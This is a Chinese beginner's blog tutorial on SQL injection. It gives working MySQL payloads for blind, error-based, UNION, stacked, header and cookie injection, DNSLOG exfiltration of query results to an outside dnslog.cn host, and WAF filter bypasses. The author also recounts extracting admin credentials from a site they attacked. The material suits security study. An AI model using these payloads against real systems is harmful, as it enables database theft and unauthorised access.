SQL注入(零基础入门到精通,看这一篇就够了!超详细!)

目录

一、基础概念与背景

1.1 什么是SQL注入

 1.2 SQL注入的危害

1.3 Web请求与数据库交互流程

​编辑

二、SQL注入原理深度剖析

2.1 SQL语句的基本结构

 2.2 注入点产生原因

2.3 注入点类型总览(按参数位置)

三、SQL注入分类(超详细)

3.1 SQL注入漏洞分类

3.2 如何判断是否存在SQL注入

3.3 判断存在SQL的常用步骤

3.4 SQL注入测试思路

3.5 按注入语法分类

3.5.1 布尔盲注(Boolean-based Blind)

3.5.2 时间盲注(Time-based Blind)

3.5.3 报错注入(Error-based)

3.5.4 联合查询注入(UNION Query)

重点:万能查询语句!

3.5.5 堆叠查询注入(Stacked Queries)

3.6 其他特殊注入类型

3.6.1 二次注入(存储型注入)     

3.6.2 宽字节注入

3.6.3 UA注入

3.6.4 referer注入

3.6.5 DNSLOG外带

3.6.6 cookie注入

四、突破WAF与过滤绕过

4.1 等号被过滤

4.1.1 使用 > ,< ,<>    //大于,小于,不等于

4.1.2 采用 like , rlike ,regexp 正则

4.1.3 使用in、between 字符 and 字符

4.2 substr/mid 截取函数被过滤

4.2.1 替代函数:locate、position、instr 

4.2.2 substring或者使用 left,right

4.3 逗号“,”被过滤

4.3.1 采用%EF%BC%8C(URL 编码)

4.3.2 采用from xx for xx,  from(x)

4.3.3 其他

4.4 and/or被过滤

4.4.1 使用&&、||,或者配合 like、if 逻辑替代

4.5 空格被过滤

4.6 关键字被过滤

4.6.1 大小写绕过

4.6.2 只过滤一次时,双重关键字绕过

4.6.3 and/or+空格被替换为空

4.6.4 注释符绕过

4.6.5 编码绕过

一、基础概念与背景

1.1 什么是SQL注入

        SQL注入(SQL Injection)是一种代码注入攻击技术,攻击者利用应用程序对用户输入过滤不严的缺陷,将恶意的SQL语句片段插入到程序原本的查询中,从而欺骗数据库服务器执行非预期的SQL命令。其本质是:应用程序将用户输入的数据与SQL代码的边界混淆,导致数据被当作代码执行。

 1.2 SQL注入的危害

  • 数据泄露(脱库)
  • 数据篡改/删除
  • 绕过认证(万能密码)
  • 服务器权限提升(通过数据库执行系统命令)
  • 内网渗透跳板

1.3 Web请求与数据库交互流程

二、SQL注入原理深度剖析

2.1 SQL语句的基本结构

        理解SQL注入,必须先熟悉SQL语句的基本骨架。攻击的本质就是将恶意片段“嫁接”到这些结构上。
查询语句:

SELECT 字段列表 FROM 表名 WHERE 条件表达式;

联合查询:

SELECT column1, column2 FROM tableA
UNION
SELECT column3, column4 FROM tableB;

注释符:

  • 单行注释:--+ 或 #
  • 多行注释:/*内容*/

注:SQL语句详细请看这三篇MySQL数据库

MySQL数据库基础1--未完待续:

https://blog.csdn.net/LunaWisp/article/details/160991455?fromshare=blogdetail&sharetype=blogdetail&sharerId=160991455&sharerefer=PC&sharesource=LunaWisp&sharefrom=from_link

MySQL数据库基础2--未完待续:

https://blog.csdn.net/LunaWisp/article/details/161057168?fromshare=blogdetail&sharetype=blogdetail&sharerId=161057168&sharerefer=PC&sharesource=LunaWisp&sharefrom=from_link

MySQL数据库基础3--(函数)完:

https://blog.csdn.net/LunaWisp/article/details/161059470?fromshare=blogdetail&sharetype=blogdetail&sharerId=161059470&sharerefer=PC&sharesource=LunaWisp&sharefrom=from_link

 2.2 注入点产生原因

  • 未过滤或过滤不严的用户输入
  • 动态SQL拼接
  • 错误信息暴露数据库结构

        SQL 注入漏洞是怎么发生的?

2.3 注入点类型总览(按参数位置)

        根据用户输入传输到服务器的位置,SQL注入点可以出现在HTTP请求的各个部分。

  • GET型注入(URL参数)

        通过URL查询字符串传递参数,攻击Payload直接在浏览器地址栏构造。

  • POST型注入(表单/JSON/XML)

        通过POST请求体传递,常见于登录、搜索、信息提交等场景。参数不在URL中,隐蔽性稍高,不易被直接窥探,但可通过Burp Suite等代理工具拦截和篡改。

  • Cookie注入

        HTTP Cookie值由客户端保存并在每次请求时自动发送,后端脚本可能将Cookie值直接用于数据库查询(如记住登录状态、跟踪用户偏好)。

  • HTTP头注入(User-Agent、Referer、X-Forwarded-For等)

        服务器端可能记录访问日志,或根据请求头信息进行业务处理,如果这些头被直接拼入SQL,就产生注入点。常见头:

         (1)User-Agent:浏览器标识,有的系统会存入数据库进行统计分析。

         (2)Referer:来源地址,用于记录流量来源。

         (3)X-Forwarded-For:客户端真实IP(通过代理时),很多应用以此获取用户IP并存储。

三、SQL注入分类(超详细)

3.1 SQL注入漏洞分类

3.2 如何判断是否存在SQL注入

3.3 判断存在SQL的常用步骤

字符型:(假如入有一篇 id=1 的文章,闭合查询语句前后单引号)

id=1'                             //报错 (程序无法正常从数据库中查询出数据,就会抛出异常)

id=1'+and+'1'='1          //页面有返回 (语句为真,语句执行正常,与原始页面无任何差异)

id=1'+and+'1'='2          //页面有返回    (语句为假,语句执行失败,与原始页面也有差异)

数字型:

id=1

id=1+and+1=1

id=1+and+1=2

注:快速的判断是数字型注入的方法(id=1/0,id=1/1(观察页面的变化))(四则运算)

3.4 SQL注入测试思路

  1. 判断是否存在注入
  2. 注入是字符型还是数字型
  3. 猜解当前数据库名
  4. 猜解数据库中的表名
  5. 猜解表中的字段名
  6. 猜解数据

常见注入方式:联合查询注入,布尔盲注(时间盲注),报错注入 ,堆叠注入 ,其他注入

3.5 按注入语法分类

3.5.1 布尔盲注(Boolean-based Blind)

        当注入点没有直接数据回显,且错误信息被屏蔽,但应用程序会根据查询条件的真假返回两种明显不同的页面内容(如“用户存在”/“用户不存在”、“正常页面”/“空白页面”),攻击者即可利用这种二元差异,构造布尔条件,一个比特一个比特地猜解数据。盲注虽慢,但适用性极广,几乎不可见回显的注入点都能用此法攻克。

Payload结构:

' AND (条件) --+
' OR (条件) --+

        将条件替换为对数据库信息的判断,如果条件为真,页面正常(或显示特定内容),条件为假则页面异常。通过不断改变条件,构建轮子枚举出数据。

常用函数(以MySQL为例)

  • length(str):返回字符串长度,用于判断数据长度。
  • substr(str, pos, len):截取子串,逐字符猜解。(同mid(str, pos, len))
  • ascii(str):返回字符串最左字符的ascii码数值,与数字比较便于二分法加速。(同ord(str))
  • left(str, len) / right(str, len):辅助使用。

如何使用?

        Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

        还可以根据返回字节的变化来判断。例如,正常情况下字节是:706,加单引号字节是:722。加两个单引号字节是:706。

        根据为真时、为假时返回的不同页面,来得到想要的数据。使用截取函数substr爆破得到数据库名:security。

注:截取函数详细看这个

https://blog.csdn.net/LunaWisp/article/details/161059470?fromshare=blogdetail&sharetype=blogdetail&sharerId=161059470&sharerefer=PC&sharesource=LunaWisp&sharefrom=from_link

3.5.2 时间盲注(Time-based Blind)

        比布尔盲注更极端:注入点既无数据回显,也无页面内容差异(无论查询真假,返回页面都一样)。此时攻击者通过引入延时函数,让数据库在条件为真时“暂停”指定的时间,条件为假时立即返回。通过测量响应时间差来推断条件真假。

Payload结构

' AND (条件) AND SLEEP(5) --+
' AND IF(条件, SLEEP(5), 0) --+

常用延时函数(以MySQL为例)

  • sleep(seconds)强制数据库暂停休眠几秒,页面明显变慢加载,判断语句是否执行成功。

    ' and sleep(3)--+
  • benchmark(count, expr)重复执行某条表达式很多次,拖慢运行速度。运行后页面卡顿延迟,达到延时效果。(count = 执行次数,expr = 要执行的语句)

    ' and benchmark(1000000,md5(123))--+

注:常用sleep()函数进行时间盲注

如何使用?

        界面返回值只有一种true,无论输入任何值返回情况都会按正常的来处理。加入特定的时间函数(sleep),通过查看web页面返回的时间差来判断注入的语句是否正确。

        使用sleep函数:判断是否存在时间盲注。返回超过5秒,说明存在时间盲注。

1' and sleep(5)--+

        配合if函数使用,测试此poc是否能够利用。可以看到条件成立与否响应的时间差,说明此poc有效。

 1'and if(1=1,sleep(3),sleep(1))--+

        使用截取函数substr爆破得到数据库名

1'and if(substr(database(),1,1)='u',sleep(3),sleep(1))--+

1、'and length((select database()))='8                                            判断当前数据库长度

2、and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))='29                                                         判断所有表的长度

3、'and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))='20       判断users表中字段的长度

4、'and length((select concat(username,password) from security.users limit 7,1))='10                                                                    判断user表第八行数据总位数(username、password)

得到相应的长度后,使用bp爆破相应的数据

'and substr((select concat(username,password) from security.users limit 7,1),1,1)='a

3.5.3 报错注入(Error-based)

        基于报错的SQL注入并非利用数据库本身的结构漏洞,而是通过构造特定的恶意SQL语句,迫使数据库执行非法操作并抛出错误,且将敏感数据携带在错误信息中返回给攻击者。当Web应用开启了详细错误显示时(例如PHP中display_errors = On,或数据库错误直接在前端回显),攻击者就能从报错页面中读取到原本无法直接查询的数据库内容。这类注入在页面没有正常数据回显、但存在详细错误信息时极为有效。

常用函数(以MySQL为例)

  • extractvalue()
extractvalue(xml_frag, xpath_expr)

        extractvalue() 是 MySQL 提供的 XML 处理函数,用于从 XML 片段 xml_frag 中提取符合 XPath 表达式 xpath_expr 的内容。

        extractvalue() 的第二个参数必须是一个合法的 XPath 字符串。如果传入的内容不符合 XPath 语法,同时需要窃取的信息用 concat() 函数包裹一个不可能通过 XPath 校验的前缀(如 0x7e 即 ~)和注入查询,这样MySQL就会报错。

extractvalue(1,concat(0x7e,user()))

?id=1%27and%20extractvalue(1,concat(0x7e,user()))%20=%20%271
?id=1'and extractvalue(1,concat(0x7e,user())) = '1

注:%27为单引号(');%20为空格;0x7e为“~”。

  • updatexml()
updatexml(xml_target, xpath_expr, new_xml)

        updatexml() 是 MySQL 中用于更新 XML 文档的函数,功能是将 XML 片段 xml_target 中符合 XPath 表达式 xpath_expr 的部分替换为新值 new_xml,并返回更改后的 XML。、

        updatexml() 在执行时会校验 xpath_expr 是否为合法的 XPath。如果传入的内容格式错误,需要利用 concat() 函数,将查询语句的结果与一个必定非法的前缀(如 0x7e,即波浪号 ~)拼接在一起,作为 xpath_expr 传入,数据库将拒绝执行并报错。

updatexml(1,concat(0x7e,user()),1)

?id=1%27and%20updatexml(1,concat(0x7e,user()),1)%20=%20%271
?id=1'and updatexml(1,concat(0x7e,user()),1) = '1
  • GTID_SUBSET()

        GTID_SUBSET() 是 MySQL 中一个与复制特性相关的函数。它除了本身的用途,也可以被攻击者用于基于报错的SQL注入。

SELECT GTID_SUBSET('set1_uuid:23', 'set2_uuid:21-57');

        GTID_SUBSET() 在 MySQL 复制中用于比较两个全局事务标识符(GTID)集合。它的判断逻辑是:如果 set1 中的所有 GTID 都包含在 set2 中,就返回 true(1);如果任一参数为 NULL,则返回 NULL;否则,返回 false(0)。

'-GTID_SUBSET(user(),1)-'


?id=%27-GTID_SUBSET(user(),1)-%27
?id='-GTID_SUBSET(user(),1)-'

3.5.4 联合查询注入(UNION Query)

        联合查询注入是 SQL 注入攻击中最为直观和常用的一种技术。其核心在于利用 SQL 的 UNION SELECT 操作符,将攻击者自行构造的查询结果拼接到应用程序原查询的结果集中,并借助网页上展示查询结果的位置(回显点)将敏感数据直接输出到客户端。这种攻击要求页面能显示出数据库查询返回的内容,需要知道原查询字段数、字段位置、输出点。

注入实施步骤:

(1)确定原查询的字段数(列数)

        在拼接 UNION SELECT 之前,必须知道原查询选择了几个字段,因为 UNION 要求前后两部分查询的列数必须相同,否则数据库会直接报错。通常采用以下2种方式:

  • 方法1:ORDER BY 二分法

        利用 ORDER BY 子句对查询结果进行排序,若指定的列索引超出实际列数,数据库会报错。

' ORDER BY 1 --   正常
' ORDER BY 2 --   正常
' ORDER BY 3 --   页面错误或无返回 → 原查询只有2个字段。
  • 方法2:UNION SELECT NULL 递增法

        逐步增加 NULL 的个数,直到不再产生“使用的 SELECT 语句具有不同列数”的报错。

' UNION SELECT NULL --         错误
' UNION SELECT NULL, NULL --   正常 → 说明列数为2。

(2)定位页面上的回显点

        已知列数后,需要找出哪些列的值会被实际输出到页面中。用一系列可识别的标记(如数字)替换 UNION SELECT 中的 NULL,然后观察页面的回显位。

' UNION SELECT 1,2,3 --+

        若页面中出现了 2 和 3,说明原查询的第2列和第3列会被展示,这两列即可作为数据输出点。

(3)利用回显点提取数据

        找到回显列后,将子查询放入该位置即可窃取数据。

(3.1)查询所有数据库名

-1' UNION SELECT 1,database(),3 --+

(3.2)查询所有表名

-1' UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema=database() --+

(3.3)查询列名(字段名)

-1' UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_name='users' --+

(3.4)提取敏感数据

-1' UNION SELECT 1, concat(username, 0x3a, password), 3 FROM users --+

distinct:用于返回唯一值(去掉重复)

-1'union select 1,2,count(distinct+table_schema) from+information_schema.tables--+

limit 1,1:查询1条数据,索引从1开始,第1条记录

        如果回显位只显示一条记录,可改用limit逐条输出。

-1' union select table_name from information_schema.tables where table_schema='库名' limit 1

注:详细请看MySQL查询语句

https://blog.csdn.net/LunaWisp/article/details/161057168?fromshare=blogdetail&sharetype=blogdetail&sharerId=161057168&sharerefer=PC&sharesource=LunaWisp&sharefrom=from_link

重点:万能查询语句!

        联合查询注入在使用order by确定字段数之后,使用union select找到回显位。在回显位替换查询语句,只需要换相应的数据库名,表名,字段名即可,这是万能查询语句收藏好!!第一种情况在限制页面回显位,限制只回显一位;多数情况使用第二种,可以爆出所有数据。

//如何查数据库

第一种:

select schema_name from information_schema.schemata limit 1

第二种:

select group_concat(schema_name) from information_schema.schemata

//如何查表

第一种:
select table_name from information_schema.tables where table_schema='数据库名' limit 1

第二种:

select group_concat(table_name) from information_schema.tables where table_schema='数据库名'

//如何查字段

第一种;
select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 1

第二种:

select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'

        为了更好的理解举一个例子,这个是我打过的一个网站,后续把完整的流程发出来。

假如现在你已经找到存在SQL注入漏洞的页面了,使用order by确定了字段数,然后使用union select确定了回显位。

数据库名:

select group_concat(schema_name) from information_schema.schemata

结果:dami 

数据库dami中的表名:

select group_concat(table_name) from information_schema.tables where table_schema=’dami’

结果:dami_admin

dami数据库,dami_admin表中字段名:

select group_concat(column_name) from information_schema.columns where table_schema=’dami’ and table_name=’dami_admin’

结果:username,password

dami_admin表,username,password字段中的数据:

select group_concat(username,password) from dami_admin

3.5.5 堆叠查询注入(Stacked Queries)

        堆叠查询注入(Stacked Queries)是一种利用数据库驱动支持多条语句连续执行而实施的注入攻击。攻击者通过分号 ; 隔离,在原始 SQL 语句后附加任意新的 SQL 语句,使数据库在同一请求中逐条执行,从而实现对数据的增、删、改,甚至执行系统命令等破坏性操作。由于它不局限于原查询的类型和回显限制,危害远高于普通联合查询或布尔盲注,因此被列为最危险的注入手法之一。

插入数据,添加用户:
select * from users where id=1;insert into  users(id,username,password) values (99,'xiaoming','xiaoming');

        联合注入和堆叠注入的区别: 区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

3.6 其他特殊注入类型

3.6.1 二次注入(存储型注入)     

        二次注入又称存储型注入,攻击并非在用户输入被拼接到SQL语句的瞬间完成。其过程分为两步:

  • 存储恶意数据:攻击者将构造的恶意Payload提交到应用,应用将其经过转义或过滤后安全地存入数据库。
  • 二次解析触发:当该数据被其他功能取出并未经安全处理地拼接到新的SQL查询中时,先前存储的恶意代码被激活,触发注入。

        由于第一次写入时数据被转义,单纯依靠输入过滤往往失效。核心在于开发者误认为从数据库取出的数据是“干净”的,从而直接拼接。

例:假设某网站注册时允许用户设置用户名为admin',应用使用了addslashes()转义,实际存入数据库的值为admin\'(反斜杠被转义,数据库存储的是转义后的字符串)。随后该用户名在修改密码功能中被取出并拼接SQL:

UPDATE users SET password='newpass' WHERE username='admin''

        此时单引号闭合了之前的引号,导致SQL语法错误或注入。更典型的构造是:注册用户名为admin' --或admin'; UPDATE users SET password='hacked' WHERE '1'='1。在修改密码时拼接,导致任意密码修改或恶意操作。

3.6.2 宽字节注入

        当数据库使用宽字节字符集且PHP等中间件开启了转义函数时,转义机制会在单引号、双引号等字符前添加反斜杠\,形成\'。所以我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \' 。如果我们输入%df%27(%27就是单引符号会被转义成\' 也就是%5c%27),在后台%df会将%5c“吃掉”,组成一个汉字(%df%5c是一个汉字)。

?id=1%df' union select 1,2,3 -- 

3.6.3 UA注入

        User-Agent是HTTP请求头中的一个字段,记录浏览器标识。许多应用会将用户的UA信息记录到数据库(如访问日志、用户登录日志),如果记录时直接拼接UA字符串,则构成SQL注入。

User-Agent: Mozilla/5.0' UNION SELECT 1,2,3,4,5 --

3.6.4 referer注入

        Referer头记录了用户来源页面的URL。很多网站会统计访问来源并存入数据库,若处理不当即存在注入。攻击者通过修改请求中的Referer字段,插入SQL语句。

Referer: http://www.example.com' OR IF(1=1,SLEEP(5),0) --

3.6.5 DNSLOG外带

        DNSLOG注入是一种带外通道(Out-of-Band) 技术,用于在无法通过页面回显或时间差判断时,将查询结果通过DNS请求带出到攻击者控制的服务器。

        通常我们面对SQL注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在SQL注入,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池        我们输入域名之后 我们的本地域名服务器会把在自身服务器里面查询是否存在ip地址 如果没有则发送到根域名服务器 如果根域名服务器里面有对应的记录则返回 如果没有则告诉本地域名服务器去向顶级域名服务器查找。

        将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。

(1)什么是UNC?

        UNC是 Windows 系统中用于定位网络共享资源的路径格式。     

\\ServerName\ShareName\Path\File
  • \\ 双反斜杠开头,标识这是一个网络路径。
  • ServerName 是目标主机名或 IP 地址。
  • ShareName 是该主机上的共享文件夹名。
  • Path\File 是共享文件夹下的具体子路径与文件。

        目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:

\servername\sharename\directory\filename

        例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径。 //iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

(2)注入所需条件?

        dns带外查询属于MySQL注入,在MySQL中有个系统属性 secure_file_priv特性,有三种状态:

        LOAD_FILE()函数:读取一个文件并将其内容作为字符串返回。

load_file(file_name),其中file_name是文件的完整路径

        OUTFILE (file_name):写文件。

        不管是布尔类型盲注还是时间盲注,都需要发送大量的数据包去判断数据,而这很可能会触发WAF的防护,因此导致被封IP。所以,如果条件允许,我们可以结合DNSlog来快速的回显数据。MySQL数据库,通过DNSlog盲注需要用到 load_file() 函数,该函数不仅能加载本地文件,同时也能对URL发起请求。因为需要使用 load_file() 函数,所以需要root权限,并且 secure_file_priv 需要为空。并且服务器要为Windows操作系统。

例:
# 查询当前用户名
1' and (select load_file(concat('\\\\',(select hex(user())),'.682y4b.dnslog.cn/abc'))) --+

# 查看当前数据库名
1' and (select load_file(concat('\\\\',(select database()),'.682y4b.dnslog.cn/abc'))) --+

3.6.6 cookie注入

        Cookie 是网站存储在客户端浏览器中的小型数据,常用于会话管理、用户偏好记录和追踪。浏览器会在每次请求时自动附加相应的 Cookie。当后台应用程序直接将 Cookie 中的值取出并拼接到 SQL 语句中时,攻击者便可以通过修改 Cookie 植入恶意 SQL 片段。

正常 Cookie: user_id=1

user_id=1 UNION SELECT username, password FROM users WHERE '1'='1

四、突破WAF与过滤绕过

4.1 等号被过滤

4.1.1 使用 > ,< ,<>    //大于,小于,不等于

and ascii(substr(database(),1,1))<>115

4.1.2 采用 like , rlike ,regexp 正则

and database() like 't%'
and database() rlike '^te'
and database() rlike 'te.*' 
and database() regexp 'test.*'
and database() regexp '^test'

4.1.3 使用in、between 字符 and 字符

and database() in ('test')
and instr(database(),'t')in(1)
and substr(database(),1,1) BETWEEN 't' and 't'

4.2 substr/mid 截取函数被过滤

4.2.1 替代函数:locate、position、instr 

and LOCATE('e',database())in('2')
and LOCATE('t',database(),4)in('4')

注:
locate(str1,str2)
返回str1字符串在str2里第一次出现的位置,没有返回0
Locate(str1,str2,pos)
返回str1字符串在str2里pos(起始位置)出现的位置,没有返回0
pos必须大于第一次出现的位置,才能显示第二次出现的位置

and position('t' in database())=1
用法与locate类似,返回str1字符串在str2出现的位置,没有返回0。

And instr(database(),'t')=1

4.2.2 substring或者使用 left,right

SELECT SUBSTRING('2025-08-01', 6, 2);  -- 结果:08
SELECT SUBSTRING('abcdefg', 2, 4);    -- 结果:bcde

SELECT RIGHT('2025-08-01', 2);  -- 结果:01
SELECT RIGHT('abcdefg', 3);     -- 结果:efg

SELECT LEFT('2025-08-01', 4);  -- 结果:2025
SELECT LEFT('abcdefg', 3);     -- 结果:abc

4.3 逗号“,”被过滤

4.3.1 采用%EF%BC%8C(URL 编码)

and substr(database()%EF%BC%8C1%EF%BC%8C)='1'

and substr(database(),1, )='1'

4.3.2 采用from xx for xx,  from(x)

and substr(database()from 2 for 1)='e'

And substr('abcde' from 1)='test'

mid('abc',1,1)
mid('abc'from 1 for 1)

如果for也被过滤:
mid('abc' from -1)     //结果:c

如果mid被过滤,使用substr或者substring:
substr('abc',1 , 1)
substr('abc'from 1 for 1)

4.3.3 其他

逗号被过滤时使用limit:
                    limit 0,1
                    limt 1 offset 0
union select 1,2,3;
union select * from (select 1)a join (select2)b join (select 3)c;

4.4 and/or被过滤

4.4.1 使用&&、||,或者配合 like、if 逻辑替代

&& substr(database(),1,1)='t'
|| substr(database(),1,1)='t'

注:在mysql中 and与or 是可以用 &&和||相互代替的
     and 1=1 ->&& 1=1  or 1=1 ->||1=1
like+if(substr(database(),1,1)='s',1,0)='1--+(此处的like需要结合判断函数使用)

注:like只是用来闭合前面的语句, if 判断爆破当前数据库名的第一个字符是不是字母 s
    如果页面返回正常 / 有数据 → 数据库名首字母是 s
    如果页面返回错误 / 无数据 → 首字母不是 s
    这是 SQL 注入里的布尔盲注。

4.5 空格被过滤

        %09 ,%0a ,%0b, %0c ,%0d, %a0 ,%00,/**/,/*!select*/,--%0a

以上都可替代空格,如果上面的也全被过滤使用括号()

id=-1'union(select(1),(select(ip_address)from(uagents)),3)--+

4.6 关键字被过滤

4.6.1 大小写绕过

        User(),dAtaBASE(),SelEct等。

4.6.2 只过滤一次时,双重关键字绕过

        selselectect,ununionion,oorr等。

4.6.3 and/or+空格被替换为空

        andand+空格(oror+空格)绕过。

4.6.4 注释符绕过

        //, -- , /**/, #, --+, -- -,;,%00,--a,/*!*/。

4.6.5 编码绕过

        如URLEncode编码,ASCII,HEX,unicode编码等等......可以绕过

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值